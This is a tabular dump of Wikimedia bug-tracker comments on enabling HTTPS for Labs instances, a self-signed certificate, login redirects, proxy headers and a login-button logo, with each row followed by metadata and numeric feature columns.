+256228,Enable HTTPS on a Labs instance,"**scott.leea** wrote:
+
+What's the status on this ticket? Is this something I can work on? (I am a new volunteer).",,,1404182317,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-qa4qlq3om3eeq6hztvty,task_subcomment,,True,c3,1,False,,,-53,True,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,0
+256223,Enable HTTPS on a Labs instance,"(In reply to comment #9)
+> Do you mean you created a ""public_html"" folder in your user home?
+> I have no such folder here, so I have put everything in /var/www and it
+> mostly
+> works (for a few hours before becoming 404, see
+> https://bugzilla.wikimedia.org/show_bug.cgi?id=54059 different problem)
+> 
+> I guess these pages could use more detailed explanations:
+> https://wikitech.wikimedia.org/wiki/Help:Lamp_Instance
+> https://wikitech.wikimedia.org/wiki/Help:LAMP_issues
+
+No.  It should already be there.  xtools runs on the tools instance.",,,1379590933,,PHID-USER-xkdpe6ltdf3mkphd7xgd,False,,,PHID-TASK-qa4qlq3om3eeq6hztvty,task_subcomment,,True,c3,1,False,,,-93,True,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,1,1,1,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,1,0,1,0,1,1,0,1
+256217,Enable HTTPS on a Labs instance,"Do you mean you created a ""public_html"" folder in your user home?
+I have no such folder here, so I have put everything in /var/www and it mostly works (for a few hours before becoming 404, see https://bugzilla.wikimedia.org/show_bug.cgi?id=54059 different problem)
+
+I guess these pages could use more detailed explanations:
+https://wikitech.wikimedia.org/wiki/Help:Lamp_Instance
+https://wikitech.wikimedia.org/wiki/Help:LAMP_issues",,,1379590230,,PHID-USER-qmcrs2npimuywblubznv,False,,,PHID-TASK-qa4qlq3om3eeq6hztvty,task_subcomment,,True,c3,1,False,,,-93,True,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,1,1,1,0,1,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,0,1,0,1,1,0,0
+256213,Enable HTTPS on a Labs instance,"(In reply to comment #7)
+> @torty: I would be glad to use the place you mention if someone grants me
+> read/write access to it.
+> Anywhere is fine as long as it can run our PHP script over HTTPS.
+> 
+> @Cyberpower678: Interesting! Any idea how they achieved this?
+> 
+> @Ryan: Any news about the dynamic proxy?
+
+Well I achieved it by simply tossing it into the public_html folder and going to that address with https.  Nothing special to it.",,,1379589549,,PHID-USER-xkdpe6ltdf3mkphd7xgd,False,,,PHID-TASK-qa4qlq3om3eeq6hztvty,task_subcomment,,True,c3,1,False,,,-93,True,1,1,0,0,0,1,1,0,0,1,1,0,1,0,0,1,0,1,1,1,1,0,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,1,1,1,0,1,1,0,1,0,1,1,0,0,1
+256204,Enable HTTPS on a Labs instance,"@torty: I would be glad to use the place you mention if someone grants me read/write access to it.
+Anywhere is fine as long as it can run our PHP script over HTTPS.
+
+@Cyberpower678: Interesting! Any idea how they achieved this?
+
+@Ryan: Any news about the dynamic proxy?",,,1379577425,,PHID-USER-qmcrs2npimuywblubznv,False,,,PHID-TASK-qa4qlq3om3eeq6hztvty,task_subcomment,,True,c3,1,False,,,-93,True,1,1,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,1,1,0,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,1,1,1,0,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,0,1,0,0,0,1
+256196,Enable HTTPS on a Labs instance,"**singaporemaps** wrote:
+
+Question: why is a separate instance required? I would have thought that hosting it at a page like tools.wmflabs.org/wikivoyage/poimap would work.",,,1379428579,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-qa4qlq3om3eeq6hztvty,task_subcomment,,True,c3,1,False,,,-94,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+256187,Enable HTTPS on a Labs instance,I'm not sure I understand but https://tools.wmflabs.org/xtools/pcount works just fine.,,,1379420417,,PHID-USER-xkdpe6ltdf3mkphd7xgd,False,,,PHID-TASK-qa4qlq3om3eeq6hztvty,task_subcomment,,True,c3,1,False,,,-94,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0
+256180,Enable HTTPS on a Labs instance,"(In reply to comment #2)
+> Also: Marking as major, as it makes Wikivoyage's dynamic maps unusable for
+> most users
+
+For the records, this was also discussed in https://de.wikivoyage.org/wiki/Benutzer_Diskussion:Mey2008#PoiMap2.2C_https_and_Firefox_23",,,1379419426,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-qa4qlq3om3eeq6hztvty,task_subcomment,,True,c3,1,True,,,-94,True,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1
+256172,Enable HTTPS on a Labs instance,"We have a new dynamic proxy that has HTTPS and also allows you to have a nice DNS name that doesn't include instance-proxy. I'll ping yuvi, who's managing this, tomorrow.",,,1379403127,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-qa4qlq3om3eeq6hztvty,task_subcomment,,True,c3,1,False,,,-94,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+256165,Enable HTTPS on a Labs instance,"Sam, thanks for confirming the problem!
+Could you please switch this report from UNCONFIRMED to CONFIRMED?
+Thanks!
+
+Also: Marking as major, as it makes Wikivoyage's dynamic maps unusable for most users (they don't notice the SSL mixed-protocol icon, and just see a blank square where the map should be).",,,1379380254,,PHID-USER-qmcrs2npimuywblubznv,False,,,PHID-TASK-qa4qlq3om3eeq6hztvty,task_subcomment,,True,c3,1,False,,,-94,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,1,0
+256159,Enable HTTPS on a Labs instance,"Nope, HTTPS is currently unsupported on labs. Work is currently underway to rectify/improve this situation.
+
+Someone who is actually directly involved in making this work should be able to give you a suggested timeframe till it should work.",,,1378969400,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-qa4qlq3om3eeq6hztvty,task_subcomment,,True,c3,1,True,,,-94,True,0,1,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+55892,metrics.wmflabs.org got an invalid certificate,"metrics.wmflabs.org gebruikt een ongeldig beveiligingscertificaat.
+
+Het certificaat wordt niet vertrouwd, omdat het zelfondertekend is.
+Het certificaat is alleen geldig voor wikimetrics.pmtpa.wmflabs
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1378554540,1379365807.0,PHID-USER-cw4amt4ewxdze5qcjdca,False,,False,PHID-TASK-55bnjyd72vuwxcyfk6ji,task_description,resolved,True,c3,1,True,False,True,-95,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+245774,metrics.wmflabs.org got an invalid certificate,We are now using a non-self signed certificate.,,,1379365807,,PHID-USER-v7l22dsoqmpmlusn2mhn,False,,,PHID-TASK-55bnjyd72vuwxcyfk6ji,task_subcomment,,True,c3,1,False,,,-94,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0
+245767,metrics.wmflabs.org got an invalid certificate,"Prioritization and scheduling of this bug is tracked on Mingle card
+https://mingle.corp.wikimedia.org/projects/analytics/cards/1140",,,1378762595,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-55bnjyd72vuwxcyfk6ji,task_subcomment,,True,c3,1,False,,,-95,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+245759,metrics.wmflabs.org got an invalid certificate,"Prioritization and scheduling of this bug is tracked on Mingle card
+https://mingle.corp.wikimedia.org/projects/analytics/1140",,,1378762337,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-55bnjyd72vuwxcyfk6ji,task_subcomment,,True,c3,1,False,,,-95,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+245752,metrics.wmflabs.org got an invalid certificate,Translation of the original bug: metrics.wmflabs.org uses a self-signed certificate which results in a big red scary screen. We should investigate whether it's possible to have non-self signed certificates in Labs.,,,1378680512,,PHID-USER-v7l22dsoqmpmlusn2mhn,False,,,PHID-TASK-55bnjyd72vuwxcyfk6ji,task_subcomment,,True,c3,1,False,,,-95,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+245745,metrics.wmflabs.org got an invalid certificate,"Calm down Ryan, we track the *prioritization and scheduling* of the bug in mingle, not the actual resolution of the bug. I did not file the bug but I will add a translation.",,,1378680428,,PHID-USER-v7l22dsoqmpmlusn2mhn,False,,,PHID-TASK-55bnjyd72vuwxcyfk6ji,task_subcomment,,True,c3,1,False,,,-95,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+245739,metrics.wmflabs.org got an invalid certificate,"Let me rephrase: This bug contents are not in english (and aren't translated into english), and it's being tracked in a system almost no one can access.",,,1378585685,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-55bnjyd72vuwxcyfk6ji,task_subcomment,,True,c3,1,False,,,-95,True,0,0,0,1,1,0,1,0,0,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,1,0,0,0,0
+245733,metrics.wmflabs.org got an invalid certificate,On a mingle card? Are you joking me?,,,1378585622,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-55bnjyd72vuwxcyfk6ji,task_subcomment,,True,c3,1,False,,,-95,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,1,1,1,0,0,0
+245730,metrics.wmflabs.org got an invalid certificate,Prioritization and scheduling of this bug is tracked on Mingle card https://mingle.corp.wikimedia.org/projects/analytics//1140,,,1378556187,,PHID-USER-v7l22dsoqmpmlusn2mhn,False,,,PHID-TASK-55bnjyd72vuwxcyfk6ji,task_subcomment,,True,c3,1,False,,,-95,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+55703,Google points to HTTP articles (where users cannot log in),"**Author:** `winne2i`
+
+**Description:**
+After recent changes in HTTP/HTTPS logging in for users there's a problem*.
+Google search results point to HTTP versions of articles but users are not logged in while on HTTP. This enforces users to reload page or re-log in.
+I see some solution in bug 51002 ?
+
+*)Although this also occured before but user could login via HTTP (and optionally use a DIY script in common.js to redirect to HTTPS).
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1378208820,1378280142.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-5o6hcv5x7uqgywxetn4x,task_description,declined,True,c3,1,False,False,True,-96,True,1,0,0,0,1,1,0,0,1,0,1,1,0,0,1,1,0,1,1,0,1,0,1,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0
+234430,Google points to HTTP articles (where users cannot log in),"**winne2i** wrote:
+
+Gosh, it works today… I don't know why it didn't two previous times.
+Shame on it. Shame on me.
+Consider thus bug resolved. Thanks!",,,1378280142,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-5o6hcv5x7uqgywxetn4x,task_subcomment,,True,c3,1,False,,,-96,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,1,1,0,1,1,1,0,0,0,1,0,1,0,1,0,0,0,0
+234424,Google points to HTTP articles (where users cannot log in),"This bug is probably a duplicate of bug 51002, but the resolution of this one has non-trivial implications, see the on-going discussion on wikimedia-l <http://thread.gmane.org/gmane.org.wikimedia.foundation/68103>.
+
+If you are already connected to Wikipedia, you should be redirected from HTTP to HTTPS if you keep checked the preference ""Always use a secure connection when logged in"" (1st page of preferences). Do you really have this checkbox checked? (if no, disconnect and reconnect after checking.)",,,1378278927,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-5o6hcv5x7uqgywxetn4x,task_subcomment,,True,c3,1,False,,,-96,True,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+55689,Tool Labs: Local webservice should know about HTTPS in original request,"See https://tools.wmflabs.org/liangent-php/detectProtocol.php/enwiki
+
+Feel free to move this bug to MediaWiki product if there's some reliable way to check so there while MediaWiki is unaware of it.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=64627",Needs Triage,90.0,1378155000,1398826831.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,,False,PHID-TASK-iztdhvta2ukuhruf37gl,task_description,resolved,True,c3,1,False,False,True,-96,True,1,0,0,0,0,1,1,0,0,1,0,1,0,0,1,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+233510,Tool Labs: Local webservice should know about HTTPS in original request,Seems fixed,,,1398826759,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-iztdhvta2ukuhruf37gl,task_subcomment,,True,c3,1,False,,,-62,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+233506,Tool Labs: Local webservice should know about HTTPS in original request,"Looks like this doesn't work anymore, may or may not be caused by tools being additionally proxied to tools-eqiad.
+
+https://tools.wmflabs.org/blankpages/_server.php
+
+    [HTTP_X_FORWARDED_PROTO] => http",,,1395022517,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-iztdhvta2ukuhruf37gl,task_subcomment,,True,c3,1,True,,,-68,True,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+233501,Tool Labs: Local webservice should know about HTTPS in original request,"And indeed, it was.  The X-Forwarded-Proto header should now be present.",,,1386607467,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-iztdhvta2ukuhruf37gl,task_subcomment,,True,c3,1,True,,,-82,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0
+233494,Tool Labs: Local webservice should know about HTTPS in original request,Hm; that should be simple enough actually.  Lemme see what I can do.,,,1386604405,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-iztdhvta2ukuhruf37gl,task_subcomment,,True,c3,1,True,,,-82,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0
+233487,Tool Labs: Local webservice should know about HTTPS in original request,"Is it possible to configure the proxy to add X-Forwarded-Proto, like http://www.geekisp.com/faq/6_65_en.html ?",,,1386603359,,PHID-USER-53x4y44yt43qjivfzsqf,False,,,PHID-TASK-iztdhvta2ukuhruf37gl,task_subcomment,,True,c3,1,False,,,-82,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,0
+233479,Tool Labs: Local webservice should know about HTTPS in original request,"Ah, interesting.  The communication between the proxy and the internal webservers currently occur through HTTP over the (virtual) network (with the proxy taking care of encryption) -- it's not immediately clear to me how this could be hidden from the application.",,,1378156940,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-iztdhvta2ukuhruf37gl,task_subcomment,,True,c3,1,True,,,-96,True,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,0,1,1,0,0,0
+233472,Tool Labs: Local webservice should know about HTTPS in original request,(Consequently this causes a redirect loop in MediaWiki installations on Tool-Lab with $wgSecureLogin = true; and this is why I spotted it),,,1378155765,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-iztdhvta2ukuhruf37gl,task_subcomment,,True,c3,1,False,,,-96,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+891,"Unhandled Exception (""HTTPFutureHTTPResponseStatus"")","https://bugzillapreview.wmflabs.org/search/query/open-tasks/ gives:
+
+Unhandled Exception (""HTTPFutureHTTPResponseStatus"")
+Unhandled Exception (""HTTPFutureHTTPResponseStatus"")
+[HTTP/400] {""error"":""SearchPhaseExecutionException[Failed to execute phase [query], all shards failed; shardFailures {[kVa6pnbJSEyw1PlUSHyE1A][phabricator][0]: SearchParseException[[phabricator][0]: query[ConstantScore(+cache(BooleanFilter(_field_names:relationship.open.phid)))],from[-1],size[-1]: Parse Failure [Failed to parse source [{\""query\"":{\""filtered\"":{\""query\"":{\""match_all\"":{}},\""filter\"":{\""and\"":[{\""exists\"":{\""field\"":\""relationship.open.phid\""}}]}}},\""sort\"":[{\""dateCreated\"":\""desc\""}],\""from\"":0,\""si...",Needs Triage,90.0,1414233135,1414250255.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,PHID-USER-lluzkul4z7us4sxkayss,False,PHID-TASK-imqcon4kjw7pbthjzfjx,task_description,duplicate,True,c3,1,True,False,True,-36,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+543,Wikimedia name and logo in Wikimedia SUL login button,"In https://phabricator.wikimedia.org/auth/start/ the current button says ""MediaWiki login"" and features the MediaWiki sunflower.
+
+Since this is in fact a Wikimedia login, it would be consistent to show ""Wikimedia"" and the [[ https://commons.wikimedia.org/wiki/File:Wikimedia-logo.svg | Wikimedia logo ]].
+
+Proposing this task as pre-Day 1 because it is related with the ""out of the box experience"", where it is worth polishing these details.",Needs Triage,90.0,1412363601,1412413111.0,PHID-USER-lluzkul4z7us4sxkayss,False,PHID-USER-lluzkul4z7us4sxkayss,False,PHID-TASK-fphjxfjgtjw7uq5ugnil,task_description,declined,True,c3,1,True,True,True,-39,True,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+4435,Wikimedia name and logo in Wikimedia SUL login button,I've submitted the change to upstream to include the square brackets in the logo sprite: https://secure.phabricator.com/D10752,,,1414554847,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-fphjxfjgtjw7uq5ugnil,task_subcomment,,True,c3,1,True,,,-36,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0
+4415,Wikimedia name and logo in Wikimedia SUL login button,"@qgil thats helpful but a slightly different context, in all those cases the user is interacting with a specific entity. Google, facebook, github, etc. in our case the user is dealing with a piece of software installable by anyone. Thanks for showing the context it could be used outside of our use case",,,1414536060,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-fphjxfjgtjw7uq5ugnil,task_subcomment,,True,c3,1,False,,,-36,True,1,1,0,1,0,1,0,0,0,0,1,0,0,1,0,1,0,1,1,1,0,0,0,0,0,0,0,1,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,1
+4414,Wikimedia name and logo in Wikimedia SUL login button,"See the natural context of this button: https://secure.phabricator.com/auth/start/
+
+>>! In T543#16353, @Heather wrote:
+> Reply regarding the trademark issue: we need to use the entire thing. So the brackets need to be included or the flower should not be used.
+
+The template of the button includes an image, so let's use the official MediaWiki logo for now (T958).
+
+",,,1414535793,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-fphjxfjgtjw7uq5ugnil,task_subcomment,,True,c3,1,True,,,-36,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,1,0,1,0,1,0,0,1
+4413,Wikimedia name and logo in Wikimedia SUL login button,"See the natural context of this button: https://secure.phabricator.com/auth/start/
+
+>>! In T543#16353, @Heather wrote:
+> Reply regarding the trademark issue: we need to use the entire thing. So the brackets need to be included or the flower should not be used.
+
+The template of the button includes an image, so let's use the official MediaWiki logo (T958).
+
